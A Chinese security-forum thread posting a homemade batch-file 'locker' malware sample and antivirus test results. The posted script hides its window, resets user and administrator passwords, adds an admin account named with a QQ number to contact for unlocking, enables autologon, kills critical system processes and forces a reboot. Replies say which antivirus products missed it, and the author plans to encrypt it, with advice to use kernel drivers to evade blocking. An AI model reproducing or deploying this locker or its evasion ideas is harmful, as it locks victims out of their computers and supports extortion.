自制bat锁机4.0

显示全部楼层 · 发表于 2018-11-10 11:24:00

显示全部楼层 · 发表于 2018-11-10 11:27:46

本帖最后由松竹承茂于 2018-11-10 11:29 编辑

显示全部楼层 · 发表于 2018-11-10 11:45:50

Norton MISS

[url=home.php?mod=space&uid=331734]@echo[/url] off
if "%1"=="h" goto begin
start mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit
:begin
REM
net user %username% fuckyou
net user 解锁加QQ3256076553 fuckyou /add
net localgroup administrators 解锁加QQ3256076553 /add
net user administrator fuckyou
net user admin fuckyou
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v AutoAdminLogon /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v DefaultUserName /d 解锁加QQ3256076553
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v DefaultPassword /d
taskkill /f /im csrss.exe
taskkill /f /im winlogon.exe
taskkill /f /im wininit.exe
for /f %%I in ('wmic process get Name')do (wmic process where Name="%%I" delete)
shutdown -r -f -t 00

复制代码

显示全部楼层 · 发表于 2018-11-10 11:55:30

本帖最后由 Kaspersky用户于 2018-11-10 12:00 编辑

AVAST扫描MISS
运行后资源管理器被重启，浏览器进程，文件监控器进程均被结束，AVAST UI进程正常，未触发IDP。

显示全部楼层 · 发表于 2018-11-10 12:24:19

Trend Micro

显示全部楼层 · 发表于 2018-11-10 12:41:13

又是bat，miss的可能性很大，但能过掉火绒的单步主防么？

显示全部楼层 · 发表于 2018-11-10 13:04:12

www-tekeze 发表于 2018-11-10 12:41
又是bat，miss的可能性很大，但能过掉火绒的单步主防么？

过不了火绒!刚才测试了!火绒全部拦截!都是修改账户的,还有那天你给我的那个规则我玩了哈!简直把我累死了!还是可以!

显示全部楼层 · 发表于 2018-11-10 13:20:27

www-tekeze 发表于 2018-11-10 12:41
又是bat，miss的可能性很大，但能过掉火绒的单步主防么？

我会想办法加密的

显示全部楼层 · 发表于 2018-11-10 13:30:29

kaba666 发表于 2018-11-10 13:04
过不了火绒!刚才测试了!火绒全部拦截!都是修改账户的,还有那天你给我的那个规则我玩了哈!简直把我累死了! ...

意料中的事，你测过我就不测了，也准备出门办点事。。。那个规则是比较累，得做好排除，轻松拦截任何未知勒索及破坏型病毒！但现实当中哪来多少毒，所以我不玩了。。

显示全部楼层 · 发表于 2018-11-10 13:33:55

3245076553 发表于 2018-11-10 13:20
我会想办法加密的

你得加驱、得进入内核，但那个加驱动作也会被火绒拦截。。

但办法总是有的，加油吧，XD！

[病毒样本] 自制bat锁机4.0